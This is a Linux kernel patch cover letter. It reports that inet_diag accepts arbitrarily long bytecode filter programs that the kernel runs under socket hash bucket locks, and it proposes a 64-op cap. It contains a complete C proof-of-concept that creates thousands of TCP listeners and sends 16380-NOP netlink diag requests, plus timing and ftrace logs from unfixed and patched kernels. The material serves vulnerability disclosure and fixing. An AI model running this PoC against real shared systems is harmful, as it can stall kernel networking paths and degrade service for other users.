[PATCH net 0/1] inet_diag: cap bytecode filter complexity
From: Zihan Xi
Date: Mon Sep 07 2026 - 09:55:00 EST
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/inet_diag.c. The numbers
below were taken as root in QEMU, not under unshare -Urn.
A no-bytecode TCP listener dump still completes after the cap. A 64-op
program is still accepted. The 16380-NOP request is rejected with
EINVAL.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
inet_diag dumps run request-supplied INET_DIAG_REQ_BYTECODE programs
through inet_diag_bc_sk() while walking TCP, UDP and MPTCP hash buckets
under their bucket locks. inet_diag_bc_audit() currently accepts an
arbitrarily long program, so the per-socket filter cost is not bounded
by the auditor.
This fact is already present at the git epoch: tcpdiag_bc_audit() had
no op cap, and tcpdiag_dump() ran the bytecode while holding the
listener and ehash locks. Later inet_diag extraction, including
8d07d1518a07, only moved that code. Fixes therefore points to
1da177e4c3f4.
ss(8) filters only need a handful of compare/host/mark operations.
This patch rejects programs with more than 64 ops in
inet_diag_bc_audit(), which is the shared entry point for TCP, UDP
and MPTCP dumps. 64 is a policy cap above a normal ss(8) filter,
not a lock-hold budget.
The runtime logs are TCP listener dumps only. udp_diag_dump() and
mptcp_diag_dump_listeners() call the same inet_diag_bc_sk() helper
under their own bucket locks, so the auditor cap applies there too;
we did not rerun those dumps.
On the unfixed kernel 7.3.0-rc1-00293-g38b6be101006, KVM/host CPU,
watchdog_thresh=10, one SO_REUSEPORT group of 4096 TCP listeners,
guest root, ulimit -n 200000:
./poc --listen --groups 1 --count 4096 --nops 16380 --compare
no bytecode: 1.429 ms
16380 NOPs: 116.242 ms
dmesg after that dump did not show a soft lockup. These are PoC dump
wall times, not spin_lock timestamps. We did not record lock-hold
duration.
On this kernel the TCP listener walk calls inet_diag_bc_sk() and
inet_sk_diag_fill() under ilb->lock.
ftrace kprobes on the same unfixed kernel:
./poc --listen --groups 1 --count 8 --nops 16380 --cpu 0
shows inet_diag_bc_sk() called from tcp_diag_dump(), with kretprobe
returning into tcp_diag_dump+0x16d.
./poc --listen --groups 1 --count 4096 --nops 16380 --cpu 0 --compare
with those probes attached entered inet_diag_bc_sk() 8212 times
across the baseline dump and the NOP dump, and summed to 129.493 ms
inside that function. Probe overhead is included; the same attack
without probes was 116.242 ms.
On the patched kernel 7.3.0-rc1-00294-g03a6504e40de, same 4096-listener
compare: the no-bytecode baseline dump succeeded (wall_ms=1.479), then
the 16380-NOP request returned EINVAL.
./poc --listen --groups 1 --count 4096 --nops 63
still succeeds (wall_ms=0.841). That program is 63 INET_DIAG_BC_NOP
ops plus a trailing INET_DIAG_BC_D_EQ, which the auditor counts as
64 ops, i.e. the cap.
The tested patched bzImage reports 03a6504e40de. The commit in this
series is a later message/trailer amend of that same tree.
A previous dump-cursor rewrite for TCP/MPTCP was dropped.
Reproducer:
gcc -O2 -static -o poc poc.c
ulimit -n 200000
./poc --listen --groups 1 --count 4096 --nops 16380 --compare
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment, KVM,
cpu=host. The timing log used guest root, not unshare -Urn.
This is not a packet-sequence or protocol-state reproducer. The trigger
depends on creating many sockets and issuing NETLINK_SOCK_DIAG requests,
which packetdrill cannot express, so the PoC uses sockets and Netlink
directly.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/inet_diag.h>
#include <linux/netlink.h>
#include <linux/sock_diag.h>
#include <linux/tcp.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <unistd.h>
#ifndef SOL_TCP
#define SOL_TCP 6
#endif
#ifndef TCP_LISTEN
#define TCP_LISTEN 10
#endif
#define TCPF_LISTEN (1U << TCP_LISTEN)
#ifndef TCP_BOUND_INACTIVE
#define TCP_BOUND_INACTIVE 13
#endif
#ifndef TCPF_BOUND_INACTIVE
#define TCPF_BOUND_INACTIVE (1U << TCP_BOUND_INACTIVE)
#endif
#define DEFAULT_SOCKETS 32768U
#define DEFAULT_NOPS 16380U
#define DEFAULT_REPEAT 1U
#define DEFAULT_GROUPS 4U
#define DEFAULT_STRIDE 2048U
#define DEFAULT_BASE_PORT 10000
#define MAX_NOPS 16380U
#define RECV_BUF_SIZE (1U << 20)
struct options {
unsigned int sockets;
unsigned int nops;
unsigned int repeat;
unsigned int groups;
unsigned int stride;
unsigned int cpu;
bool cpu_set;
bool compare;
bool attack;
bool listen_mode;
int port;
};
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
" [--groups N] [--stride N] [--compare] [--no-attack]\n"
" [--listen | --bound]\n"
"Defaults: --count %u --nops %u --repeat %u\n",
prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
}
static long long timespec_delta_ns(const struct timespec *start,
const struct timespec *end)
{
return (end->tv_sec - start->tv_sec) * 1000000000LL +
(end->tv_nsec - start->tv_nsec);
}
static int raise_nofile_limit(rlim_t needed)
{
struct rlimit lim;
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("getrlimit(RLIMIT_NOFILE)");
return -1;
}
if (lim.rlim_cur >= needed)
return 0;
if (lim.rlim_max < needed)
needed = lim.rlim_max;
lim.rlim_cur = needed;
if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("setrlimit(RLIMIT_NOFILE)");
return -1;
}
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("getrlimit(RLIMIT_NOFILE)");
return -1;
}
if (lim.rlim_cur < needed) {
fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
(unsigned long long)lim.rlim_cur,
(unsigned long long)needed);
return -1;
}
return 0;
}
static int pin_to_cpu(unsigned int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
return -1;
}
return 0;
}
static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_ANY),
};
socklen_t addrlen = sizeof(addr);
int one = 1;
int fd;
fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd < 0) {
perror("socket(AF_INET, SOCK_STREAM)");
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
perror("setsockopt(SO_REUSEADDR)");
goto err;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
perror("setsockopt(SO_REUSEPORT)");
goto err;
}
addr.sin_port = htons(port);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind");
goto err;
}
if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
perror("getsockname");
goto err;
}
if (listen_mode) {
if (listen(fd, 0) < 0) {
perror("listen");
goto err;
}
}
*bound_port = ntohs(addr.sin_port);
return fd;
err:
close(fd);
return -1;
}
static int setup_sockets(bool listen_mode, unsigned int groups,
unsigned int count_per_group, unsigned int stride,
int requested_port, int **fds_out, int *port_out)
{
int *fds;
unsigned int g, i;
unsigned int total = groups * count_per_group;
int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;
fds = calloc(total, sizeof(*fds));
if (!fds) {
perror("calloc(socket fds)");
return -1;
}
for (g = 0; g < groups; g++) {
int port = base_port + (int)(g * stride);
if (port <= 0 || port > 65535) {
fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
g, base_port, stride);
goto err;
}
for (i = 0; i < count_per_group; i++) {
unsigned int idx = g * count_per_group + i;
int bound_port = port;
int fd = create_socket_in_bucket(listen_mode, bound_port,
&bound_port);
if (fd < 0) {
fprintf(stderr,
"socket setup failed at group %u index %u (port %d)\n",
g, i, port);
goto err;
}
fds[idx] = fd;
if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
printf("sockets_ready=%u group=%u port=%d mode=%s\n",
idx + 1, g + 1, port,
listen_mode ? "listen" : "bound");
}
}
}
*fds_out = fds;
*port_out = base_port;
return 0;
err:
for (i = 0; i < total; i++) {
if (fds[i] > 0)
close(fds[i]);
}
free(fds);
return -1;
}
static void teardown_sockets(int *fds, unsigned int count)
{
unsigned int i;
if (!fds)
return;
for (i = 0; i < count; i++) {
if (fds[i] >= 0)
close(fds[i]);
}
free(fds);
}
static size_t build_request(void *buf, bool listen_mode, bool with_attack,
unsigned int nops)
{
size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
struct nlmsghdr *nlh = buf;
struct inet_diag_req_v2 *req;
memset(buf, 0, msg_len);
nlh->nlmsg_len = msg_len;
nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
nlh->nlmsg_seq = 1;
req = NLMSG_DATA(nlh);
req->sdiag_family = AF_INET;
req->sdiag_protocol = IPPROTO_TCP;
req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;
if (with_attack) {
size_t payload_len = ((size_t)nops + 2U) *
sizeof(struct inet_diag_bc_op);
size_t attr_len = NLA_HDRLEN + payload_len;
struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
struct inet_diag_bc_op *ops;
unsigned int i;
memset(nla, 0, NLA_ALIGN(attr_len));
nla->nla_type = INET_DIAG_REQ_BYTECODE;
nla->nla_len = attr_len;
ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);
for (i = 0; i < nops; i++) {
ops[i].code = INET_DIAG_BC_NOP;
ops[i].yes = sizeof(struct inet_diag_bc_op);
ops[i].no = 0;
}
ops[nops].code = INET_DIAG_BC_D_EQ;
ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);
ops[nops + 1].code = 0;
ops[nops + 1].yes = 0;
ops[nops + 1].no = 1;
msg_len += NLA_ALIGN(attr_len);
nlh->nlmsg_len = msg_len;
}
return msg_len;
}
static int recv_until_done(int fd)
{
char *buf;
int ret = 0;
buf = malloc(RECV_BUF_SIZE);
if (!buf) {
perror("malloc(recv buf)");
return -1;
}
for (;;) {
ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
struct nlmsghdr *nlh;
int remaining;
if (received < 0) {
perror("recv");
ret = -1;
break;
}
if (received == 0) {
fprintf(stderr, "recv: unexpected EOF\n");
ret = -1;
break;
}
remaining = (int)received;
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
nlh = NLMSG_NEXT(nlh, remaining)) {
if (nlh->nlmsg_type == NLMSG_DONE)
goto out;
if (nlh->nlmsg_type == NLMSG_ERROR) {
const struct nlmsgerr *err = NLMSG_DATA(nlh);
if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
fprintf(stderr, "short NLMSG_ERROR\n");
} else if (err->error) {
errno = -err->error;
perror("netlink");
} else {
fprintf(stderr, "unexpected ACK\n");
}
ret = -1;
goto out;
}
}
}
out:
free(buf);
return ret;
}
static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
double *wall_ms)
{
size_t request_len;
size_t attr_space = with_attack ?
NLA_ALIGN(NLA_HDRLEN +
((size_t)nops + 2U) *
sizeof(struct inet_diag_bc_op)) : 0;
size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
attr_space;
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
};
struct sockaddr_nl kernel = {
.nl_family = AF_NETLINK,
};
struct timeval timeout = {
.tv_sec = 60,
.tv_usec = 0,
};
struct iovec iov;
struct msghdr msg = {
.msg_name = &kernel,
.msg_namelen = sizeof(kernel),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct timespec start_ts;
struct timespec end_ts;
void *request;
int fd;
int ret = -1;
request = malloc(alloc_len);
if (!request) {
perror("malloc(request)");
return -1;
}
request_len = build_request(request, listen_mode, with_attack, nops);
fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
if (fd < 0) {
perror("socket(AF_NETLINK)");
free(request);
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
perror("setsockopt(SO_RCVTIMEO)");
goto out;
}
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
perror("bind(netlink)");
goto out;
}
iov.iov_base = request;
iov.iov_len = request_len;
if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
perror("clock_gettime(start)");
goto out;
}
if (sendmsg(fd, &msg, 0) < 0) {
perror("sendmsg");
goto out;
}
if (recv_until_done(fd) < 0)
goto out;
if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
perror("clock_gettime(end)");
goto out;
}
*wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
ret = 0;
out:
close(fd);
free(request);
return ret;
}
static int parse_u32(const char *arg, unsigned int *value)
{
char *end = NULL;
unsigned long parsed;
parsed = strtoul(arg, &end, 0);
if (!end || *end || parsed > UINT32_MAX)
return -1;
*value = (unsigned int)parsed;
return 0;
}
static int parse_port(const char *arg, int *port)
{
unsigned int value;
if (parse_u32(arg, &value) < 0 || value > 65535U)
return -1;
*port = (int)value;
return 0;
}
int main(int argc, char **argv)
{
struct options opts = {
.sockets = DEFAULT_SOCKETS,
.nops = DEFAULT_NOPS,
.repeat = DEFAULT_REPEAT,
.groups = DEFAULT_GROUPS,
.stride = DEFAULT_STRIDE,
.cpu = 0,
.cpu_set = false,
.compare = false,
.attack = true,
.listen_mode = true,
.port = 0,
};
int *fds = NULL;
int port = 0;
unsigned int i;
for (i = 1; i < (unsigned int)argc; i++) {
if (strcmp(argv[i], "--count") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.sockets) < 0 ||
opts.sockets == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--nops") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.nops) < 0 ||
opts.nops > MAX_NOPS) {
fprintf(stderr, "--nops must be in range [0, %u]\n",
MAX_NOPS);
return 1;
}
} else if (strcmp(argv[i], "--repeat") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.repeat) < 0 ||
opts.repeat == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--groups") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.groups) < 0 ||
opts.groups == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--stride") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.stride) < 0 ||
opts.stride == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--port") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_port(argv[++i], &opts.port) < 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--cpu") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.cpu) < 0) {
usage(argv[0]);
return 1;
}
opts.cpu_set = true;
} else if (strcmp(argv[i], "--compare") == 0) {
opts.compare = true;
} else if (strcmp(argv[i], "--no-attack") == 0) {
opts.attack = false;
} else if (strcmp(argv[i], "--listen") == 0) {
opts.listen_mode = true;
} else if (strcmp(argv[i], "--bound") == 0) {
opts.listen_mode = false;
} else {
usage(argv[0]);
return 1;
}
}
if (opts.groups > UINT32_MAX / opts.sockets) {
fprintf(stderr, "socket count overflow\n");
return 1;
}
if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
return 1;
if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
return 1;
if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
opts.stride, opts.port, &fds, &port) < 0)
return 1;
printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
opts.groups, opts.sockets, opts.groups * opts.sockets,
port, opts.stride, opts.listen_mode ? "listen" : "bound",
opts.nops, opts.repeat,
opts.compare ? "yes" : "no",
opts.attack ? "yes" : "no");
if (opts.compare) {
double wall_ms;
if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
teardown_sockets(fds, opts.groups * opts.sockets);
return 1;
}
printf("baseline wall_ms=%.3f\n", wall_ms);
}
if (opts.attack) {
for (i = 0; i < opts.repeat; i++) {
double wall_ms;
if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
teardown_sockets(fds, opts.groups * opts.sockets);
return 1;
}
printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
}
}
teardown_sockets(fds, opts.groups * opts.sockets);
return 0;
}
------END poc.c--------
----BEGIN timing log----
==== unfixed 7.3.0-rc1-00293-g38b6be101006, KVM/host, guest root ====
kernel.watchdog_thresh = 10
kernel.softlockup_panic = 0
kernel.panic = 0
==== unfixed, 4096 listeners, no kprobe ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --compare
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=16380 repeat=1 compare=yes attack=yes
baseline wall_ms=1.429
attack_run=1 wall_ms=116.242
==== unfixed ftrace kprobe, 8 listeners ====
command: ./poc --listen --groups 1 --count 8 --nops 16380 --cpu 0
bcsk: (inet_diag_bc_sk+0x4/0x390)
<stack trace>
=> inet_diag_bc_sk
=> tcp_diag_dump
=> __inet_diag_dump
=> netlink_dump
=> __netlink_dump_start
=> inet_diag_handler_cmd
=> sock_diag_rcv_msg
bcsk_ret: (tcp_diag_dump+0x16d/0x8f0 <- inet_diag_bc_sk)
==== unfixed ftrace kprobe, 4096-listener compare ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --cpu 0 --compare
bcsk count=8212 span_ms=138.589
bcsk_ret count=8212
tdump count=19
bcsk_us min=0.0 p50=10.0 p90=28.0 max=871.0 avg=15.8 n=8212
bcsk_total_ms=129.493
poc wall: baseline wall_ms=7.088 attack_run=1 wall_ms=131.535
==== patched 7.3.0-rc1-00294-g03a6504e40de, 4096 listeners, 16380 NOPs ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --compare
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=16380 repeat=1 compare=yes attack=yes
baseline wall_ms=1.479
netlink: Invalid argument
==== patched, 4096 listeners, 63 NOPs + D_EQ ====
command: ./poc --listen --groups 1 --count 4096 --nops 63
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=63 repeat=1 compare=no attack=yes
attack_run=1 wall_ms=0.841
-----END timing log-----
Best regards,
Zihan Xi
Zihan Xi (1):
inet_diag: cap bytecode filter complexity
net/ipv4/inet_diag.c | 10 ++++++++++
1 file changed, 10 insertions(+)
--
2.43.0